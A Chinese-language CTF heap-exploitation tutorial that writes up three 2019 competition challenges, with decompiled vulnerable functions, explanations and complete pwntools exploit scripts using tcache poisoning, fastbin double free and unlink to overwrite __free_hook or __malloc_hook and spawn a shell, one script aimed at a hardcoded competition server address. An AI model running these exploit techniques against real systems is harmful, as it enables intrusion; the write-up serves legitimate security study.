pwn堆入门系列教程6

pwn堆入门系列教程1
pwn堆入门系列教程2
pwn堆入门系列教程3
pwn堆入门系列教程4
pwn堆入门系列教程5

要将别人的东西转化成自己的东西,还是得实操,自己去操作番才可以得到些东西,学了这么久,这几天的比赛也算是用上了,有unlink,有double free,这些操作用上了

2019护网杯 mergeheap

我每次看到题目名字跟函数名字相同,我就知道点就在那个函数上,然而我当时已经看出这里有溢出了,然后调试的时候以为没覆盖到,原来只能覆盖到size,还是脑子不清晰,所以才会这样

功能分析

  1. 新建一个堆块
  2. 展示堆块内容
  3. 删除一个堆块
  4. 合并两个堆块内容
  5. 退出

乍一看就只有合并比较可疑了,通常堆题没合并,而题目又是mergeheap

漏洞点分析

int sub_E29()
{
  int i; // [rsp+8h] [rbp-18h]
  int v2; // [rsp+Ch] [rbp-14h]
  int v3; // [rsp+10h] [rbp-10h]
  int v4; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; i <= 14 && qword_2020A0[i]; ++i )
    ;
  if ( i > 14 )
    return puts("full");
  printf("idx1:");
  v2 = sub_B8B();
  if ( v2 < 0 || v2 > 14 || !qword_2020A0[v2] )
    return puts("invalid");
  printf("idx2:");
  v3 = sub_B8B();
  if ( v3 < 0 || v3 > 14 || !qword_2020A0[v3] )
    return puts("invalid");
  v4 = dword_202060[v2] + dword_202060[v3];
  qword_2020A0[i] = malloc(v4);
  strcpy(qword_2020A0[i], qword_2020A0[v2]);
  strcat(qword_2020A0[i], qword_2020A0[v3]);
  dword_202060[i] = v4;
  return puts("Done");
}

merge这里的strcpy跟strcat都是遇到\x00结束的,所以,我们如果将下一个堆块的pre_size当数据段来用的话,就可以复制到size部分,merge的时候会覆盖到下一个堆块的size,溢出覆盖size

int sub_D72()
{
  _DWORD *v0; // rax
  int v2; // [rsp+Ch] [rbp-4h]

  printf("idx:");
  v2 = sub_B8B();
  if ( v2 >= 0 && v2 <= 14 && qword_2020A0[v2] )
  {
    free(qword_2020A0[v2]);
    qword_2020A0[v2] = 0LL;
    v0 = dword_202060;
    dword_202060[v2] = 0;
  }
  else
  {
    LODWORD(v0) = puts("invalid");
  }
  return v0;
}

free过后,堆块内容未清空,也就是说,我们申请一个堆块,然后free掉,在申请到这个堆块时候,就可以查看原来堆块的内容

漏洞利用过程

  1. 初始化堆块操作
def add(size, content):
    io.sendline("1")
    io.sendline(str(size))
    if len(content) != size:
        io.sendline(content)
    else:
        io.send(content)

def show(idx):
    io.sendline("2")
    io.sendline(str(idx))

def delete(idx):
    io.sendline("3")
    io.sendline(str(idx))

def merge(idx1, idx2):
    io.sendline("4")
    io.sendline(str(idx1))
    io.sendline(str(idx2))
  1. 填满tcache,并利用unsortbin泄露libc地址
for i in xrange(8):
        add(0x100, str(i)*0x10)
    for i in xrange(8):
        delete(7-i)
    add(0x8, '0'*8) #0
    show(0)
    io.recvuntil("0"*8)
    libc_base = u64(io.recv(6).strip().ljust(8, '\x00'))-0x3ebda0
    free_hook = libc_base + libc.symbols['__free_hook']
    system_addr = libc_base + libc.symbols['system']
    io.success("libc_base: 0x%x" % libc_base)

我反过来删除是因为show好弄些,也可以正向删除,show(7)

  1. 重点,这里的大小要构造好,被复制和被覆盖的得分清楚,最后造成overlap chunk,然后修改tcache的fd指针成malloc_hook就行了,这里跟fastbin不太相似,fastbin这种攻击大小限制得是0x70大小chunk,因为错位的时候只有0x7f通常
add(0xe0, '1') #1
    add(0x10, '2'*0x10) #2
    add(0x18, '3'*0x18) #3
    add(0x80, '4'*0x80) #4 被复制的size
    add(0x20, '5'*0x20) #5
    add(0x20, '6'*0x20) #6 size部分将被覆盖

    delete(5)
    merge(2, 3)
    add(0x20, '7'*0x20)
    delete(7) 
    delete(6) #构造overlap chunk
  1. getshell
payload = 'a'*0x20 + p64(0) + p64(0x31) + p64(free_hook)
    add(0x80, payload) #6
    #gdb.attach(io)
    add(0x20, '/bin/sh\x00') #7
    add(0x20, p64(system_addr))
    delete(7)

exp

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from PwnContext.core import *
local = True

# Set up pwntools for the correct architecture
exe = './' + 'mergeheap'
elf = context.binary = ELF(exe)

#don't forget to change it
host = '127.0.0.1'
port = 10000

#don't forget to change it
#ctx.binary = './' + 'mergeheap'
ctx.binary = exe
libc = args.LIBC or 'libc-2.27.so'
ctx.debug_remote_libc = True
ctx.remote_libc = libc
if local:
    context.log_level = 'debug'
    io = ctx.start()
    libc = ELF(libc)
else:
    io = remote(host,port)
#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

# Arch:     amd64-64-little
# RELRO:    Full RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      PIE enabled

def add(size, content):
    io.sendline("1")
    io.sendline(str(size))
    if len(content) != size:
        io.sendline(content)
    else:
        io.send(content)

def show(idx):
    io.sendline("2")
    io.sendline(str(idx))

def delete(idx):
    io.sendline("3")
    io.sendline(str(idx))

def merge(idx1, idx2):
    io.sendline("4")
    io.sendline(str(idx1))
    io.sendline(str(idx2))


def exp():
    for i in xrange(8):
        add(0x100, str(i)*0x10)
    for i in xrange(8):
        delete(7-i)
    add(0x8, '0'*8) #0
    show(0)
    io.recvuntil("0"*8)
    libc_base = u64(io.recv(6).strip().ljust(8, '\x00'))-0x3ebda0
    free_hook = libc_base + libc.symbols['__free_hook']
    system_addr = libc_base + libc.symbols['system']
    io.success("libc_base: 0x%x" % libc_base)

    add(0xe0, '1') #1
    add(0x10, '2'*0x10) #2
    add(0x18, '3'*0x18) #3
    add(0x80, '4'*0x80) #4
    add(0x20, '5'*0x20) #5
    add(0x20, '6'*0x20) #6

    delete(5)
    merge(2, 3)
    add(0x20, '7'*0x20)
    delete(7)
    delete(6) #构造overlap chunk
    payload = 'a'*0x20 + p64(0) + p64(0x31) + p64(free_hook)
    add(0x80, payload) #6
    #gdb.attach(io)
    add(0x20, '/bin/sh\x00') #7
    add(0x20, p64(system_addr))
    delete(7)



if __name__ == '__main__':
    exp()
    io.interactive()

2019 网络内生安全试验场 pwn1

功能分析

  1. 创建一个堆块
  2. 展示所有堆块
  3. 删除一个堆块
  4. 删除所有堆块
  5. 离开

漏洞点分析

int delete()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  if ( lifecount )
  {
    printf("Which life do you want to remove: ");
    __isoc99_scanf("%d", &v1);
    if ( v1 > 0x63 || !*(&lifelist + v1) )
    {
      puts("Invalid choice");
      return 0;
    }
    *(_DWORD *)*(&lifelist + v1) = 0;
    free(*((void **)*(&lifelist + v1) + 1));
    puts("Successful , God !");
  }
  else
  {
    puts("No life in this lonely planet~ ");
  }
  return puts("\n");
}

这里存在double free,free后为置空

漏洞利用过程

我是多次利用double free然后成的,这道题说实话很坑,malloc_hook本地改成one_gadget是可以成功的,远程怎么打都打不上,后面学到一个骚操作,double free触发malloc_hook???原理我也不清楚,不过确实远程拿到shell了

  1. 利用double free泄露地址
ptr = 0x00000000006020E0-0x20-0x30-0x6
    add(0x30, "a", "0") #0
    add(0x30, "b", "1") #1
    delete(0) 
    delete(1)
    delete(0)
    add(0x30, p64(ptr), '2') #2
    add(0x30, 'a', '3') #3
    add(0x30, 'a', '4') #4
    add(0x30, 'a'*0x20 + 'b'*5 , '5')#5
    show()
    io.recvuntil("bbbbb")
    stdout_addr = u64(io.recvuntil("Level", drop=True).ljust(8, '\x00'))
    stdout_addr = hex(stdout_addr)[:-2]
    stdout_addr = int(stdout_addr, 16)
    io.success("stdout_addr: 0x%x" % stdout_addr)

    libc_base = stdout_addr - libc.symbols['_IO_2_1_stdout_']
    realloc_addr = libc_base + libc.symbols['__libc_realloc']
    one_gadget = libc_base + 0x45216 
    one_gadget = libc_base + 0x4526a 
    one_gadget = libc_base + 0xf02a4 
    one_gadget = libc_base + 0xf1147
    malloc_hook = libc_base + libc.symbols['__malloc_hook']
    ptr = malloc_hook-0x20-0x3
  1. 利用double free改写地址
add(0x60, "a", "6")#6
    add(0x60, "b", "7")#7
    delete(6)
    delete(7)
    delete(6)
    add(0x60, p64(ptr), '8') #8
    add(0x60, 'a', '9') #9
    add(0x60, 'a', '10') #10
    add(0x60, 'c'*0x10+ 'd'*0x3 + p64(one_gadget), '6')
    io.success("malloc_hook: 0x%x" % malloc_hook)
    io.success("libc_base: 0x%x" % libc_base )
    io.success("one_gadget: 0x%x" % one_gadget)
  1. getshell
delete(2)
    delete(2)

double free 拿到shell,这里其实malloc一次本地可以拿shell,远程不行,原因未详,可能栈环境对不上

exp

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from PwnContext.core import *
local = True

# Set up pwntools for the correct architecture
exe = './' + 'pwn1'
elf = context.binary = ELF(exe)


#don't forget to change it
#ctx.binary = './' + 'pwn1'
ctx.binary = exe
libc = args.LIBC or 'libc.so.6'
ctx.debug_remote_libc = True
ctx.remote_libc = libc
if local:
    context.log_level = 'debug'
    io = ctx.start()
    libc = ELF(libc)
else:
    libc = ELF(libc)
    io = remote(host,port)
#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

# Arch:     amd64-64-little
# RELRO:    Partial RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      No PIE (0x400000)
def add(size, name, level):
    io.sendlineafter("Your choice : ", "1")
    io.sendlineafter("Length of the name :", str(size))
    io.sendlineafter("The name of this life :", name)
    io.sendlineafter("The level of this life (High/Low) :", level)

def show():
    io.sendlineafter("Your choice : ", "2")

def delete(idx):
    io.sendlineafter("Your choice : ", "3")
    io.sendlineafter("Which life do you want to remove: ", str(idx))

def destroy():
    io.sendlineafter("Your choice : ", "4")

def exit():
    io.sendlineafter("Your choice : ", "5")


def exp():
    ptr = 0x00000000006020E0-0x20-0x30-0x6
    add(0x30, "a", "0") #0
    add(0x30, "b", "1") #1
    delete(0) 
    delete(1)
    delete(0)
    add(0x30, p64(ptr), '2') #2
    add(0x30, 'a', '3') #3
    add(0x30, 'a', '4') #4
    add(0x30, 'a'*0x20 + 'b'*5 , '5')#5
    show()
    io.recvuntil("bbbbb")
    stdout_addr = u64(io.recvuntil("Level", drop=True).ljust(8, '\x00'))
    stdout_addr = hex(stdout_addr)[:-2]
    stdout_addr = int(stdout_addr, 16)
    io.success("stdout_addr: 0x%x" % stdout_addr)

    libc_base = stdout_addr - libc.symbols['_IO_2_1_stdout_']
    realloc_addr = libc_base + libc.symbols['__libc_realloc']
    one_gadget = libc_base + 0x45216 
    one_gadget = libc_base + 0x4526a 
    one_gadget = libc_base + 0xf02a4 
    one_gadget = libc_base + 0xf1147
    malloc_hook = libc_base + libc.symbols['__malloc_hook']
    ptr = malloc_hook-0x20-0x3
    add(0x60, "a", "6")#6
    add(0x60, "b", "7")#7
    delete(6)
    delete(7)
    delete(6)
    add(0x60, p64(ptr), '8') #8
    add(0x60, 'a', '9') #9
    add(0x60, 'a', '10') #10
    add(0x60, 'c'*0x10+ 'd'*0x3 + p64(one_gadget), '6')
    io.success("malloc_hook: 0x%x" % malloc_hook)
    io.success("libc_base: 0x%x" % libc_base )
    io.success("one_gadget: 0x%x" % one_gadget)
    delete(2)
    delete(2)
    #add(0x30, 'a'*0x20+'b'*5,'3')
    #gdb.attach(io)
    '''
    '''


if __name__ == '__main__':
    exp()
    io.interactive()

2019 网络内生安全试验场 pwn2

实战中遇到最简单的一道了?

功能分析

  1. new一个新堆块
  2. 删除一个堆块
  3. 展示一个堆块
  4. 修改堆块内容,有趣的是,他是固定大小0x100?
  5. 退出

漏洞点分析

unsigned __int64 record()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("record which?");
  __isoc99_scanf("%d", &v1);
  if ( buf[v1] != 0LL && v1 >= 0 && v1 <= 9 )
  {
    puts("content?");
    read(0, buf[v1], 0x100uLL);
  }
  return __readfsqword(0x28u) ^ v2;
}

这里是固定大小,所以申请小堆块可以溢出

漏洞利用过程

  1. 我的思路是溢出后unlink,然后在将两个堆块串联起来,unlink里介绍的手法,就是一个堆块指向另一个堆块存指针的地方,然后编辑一个堆块就是编辑地址,编辑另一个堆块就是编辑内容

  2. 初始化操作

def add(size):
    io.sendlineafter("your choice :\n", "1")
    io.sendlineafter("please input the size :\n", str(size))

def delete(idx):
    io.sendlineafter("your choice :\n", "2")
    io.sendlineafter("delete which ?\n",str(idx))

def show(idx):
    io.sendlineafter("your choice :\n", "3")
    io.sendlineafter("show which ?\n", str(idx))

def record(idx, content):
    io.sendlineafter("your choice :\n", "4")
    io.sendlineafter("record which?\n", str(idx))
    io.sendlineafter("content?\n", content)

def exit():
    io.sendlineafter("your choice :\n", "5")
  1. unlink
ptr = 0x6020c0
    add(0x40)
    add(0x80)
    add(0x40)
    add(0x40)
    payload = p64(0) + p64(0x40) + p64(ptr-0x18) + p64(ptr-0x10)
    payload = payload.ljust(0x40)
    payload += p64(0x40)
    payload += p64(0x90)
    record(0, payload)
    record(1, "1"*0x10)
    delete(1)
    #show(0)
  1. 链接两个堆块
payload = 'a'*0x18 + p64(0x6020c8+0x8) + p64(0) + p64(elf.got['puts'])
    record(0, payload)
    show(2)
  1. 泄露地址
io.recvuntil("the content is :")
    io.recvline()
    puts_addr = u64(io.recvline().strip().ljust(8, '\x00'))
    io.success("puts_addr: 0x%x" % puts_addr)
    libc_base = puts_addr - libc.symbols['puts']
    system_addr = libc_base + libc.symbols['system']
    bin_sh_addr = libc_base + libc.search("/bin/sh").next()
    free_hook = libc_base + libc.symbols['__free_hook']
    #gdb.attach(io)
  1. getshell
record(3, "/bin/sh")
    record(0, p64(free_hook))
    record(2, p64(system_addr))
    delete(3)

exp

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from PwnContext.core import *
local = False

# Set up pwntools for the correct architecture
exe = './' + 'pwn2'
elf = context.binary = ELF(exe)

#don't forget to change it
host = '39.106.94.18'
port = 32768

#don't forget to change it
#ctx.binary = './' + 'pwn2'
ctx.binary = exe
libc = args.LIBC or 'libc.so.6'
ctx.debug_remote_libc = True
ctx.remote_libc = libc
if local:
    #context.log_level = 'debug'
    io = ctx.start()
    libc = ELF(libc)
else:
    io = remote(host,port)
    libc = ELF(libc)
#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

# Arch:     amd64-64-little
# RELRO:    Partial RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      No PIE (0x400000)
def add(size):
    io.sendlineafter("your choice :\n", "1")
    io.sendlineafter("please input the size :\n", str(size))

def delete(idx):
    io.sendlineafter("your choice :\n", "2")
    io.sendlineafter("delete which ?\n",str(idx))

def show(idx):
    io.sendlineafter("your choice :\n", "3")
    io.sendlineafter("show which ?\n", str(idx))

def record(idx, content):
    io.sendlineafter("your choice :\n", "4")
    io.sendlineafter("record which?\n", str(idx))
    io.sendlineafter("content?\n", content)

def exit():
    io.sendlineafter("your choice :\n", "5")


def exp():

    ptr = 0x6020c0
    add(0x40)
    add(0x80)
    add(0x40)
    add(0x40)
    payload = p64(0) + p64(0x40) + p64(ptr-0x18) + p64(ptr-0x10)
    payload = payload.ljust(0x40)
    payload += p64(0x40)
    payload += p64(0x90)
    record(0, payload)
    record(1, "1"*0x10)
    delete(1)
    #show(0)
    payload = 'a'*0x18 + p64(0x6020c8+0x8) + p64(0) + p64(elf.got['puts'])
    record(0, payload)
    show(2)
    io.recvuntil("the content is :")
    io.recvline()
    puts_addr = u64(io.recvline().strip().ljust(8, '\x00'))
    io.success("puts_addr: 0x%x" % puts_addr)
    libc_base = puts_addr - libc.symbols['puts']
    system_addr = libc_base + libc.symbols['system']
    bin_sh_addr = libc_base + libc.search("/bin/sh").next()
    free_hook = libc_base + libc.symbols['__free_hook']

    record(3, "/bin/sh")
    record(0, p64(free_hook))
    record(2, p64(system_addr))
    delete(3)
    #gdb.attach(io)

    #delete(0)

if __name__ == '__main__':
    exp()
    io.interactive()

题目下载地址

点我,快点我

总结

实操的时候发觉自己点是知道了,找漏洞点能力还待提升,利用起来也是得多调试下

点击收藏 | 0 关注 | 1
登录 后跟帖